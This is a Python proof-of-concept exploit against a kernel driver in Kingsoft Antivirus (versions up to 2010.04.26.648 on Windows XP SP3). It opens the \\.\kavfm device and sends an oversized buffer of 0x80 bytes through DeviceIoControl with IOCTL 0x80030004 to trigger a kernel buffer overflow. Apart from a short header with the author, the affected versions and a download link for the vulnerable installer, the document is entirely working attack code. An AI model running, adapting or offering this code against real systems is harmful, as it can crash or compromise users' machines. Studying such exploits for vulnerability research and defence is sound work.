#!/usr/bin/python
#################################################################
#
# Title: Kingsoft Antivirus Kernel Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.duba.net
# Platform: Windows XPSP3 Chinese Simplified
# Tested: Kingsoft Antivirus v2010.04.26.648
# Vulnerable: Kingsoft Antivirus <=v2010.04.26.648
# Vulnerable App: http://down10b.zol.com.cn/shadu/KAV100625_DOWN_10_166.zip?key=314e0cb9ea82720d90caae96bb918009
#################################################################
# Code :
from ctypes import *
kernel32 = windll.kernel32
Psapi = windll.Psapi
if __name__ == '__main__':
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
CREATE_ALWAYS = 0x2
DEVICE_NAME = "\\\\.\\kavfm"
dwReturn = c_ulong()
out_size = 1024
in_size = 1024
in_data = ''
driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
0, None, CREATE_ALWAYS, 0, None)
in_data=1024*'\x80'
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0x80030004, in_data,500, 0, 0,byref(dwReturn), None)
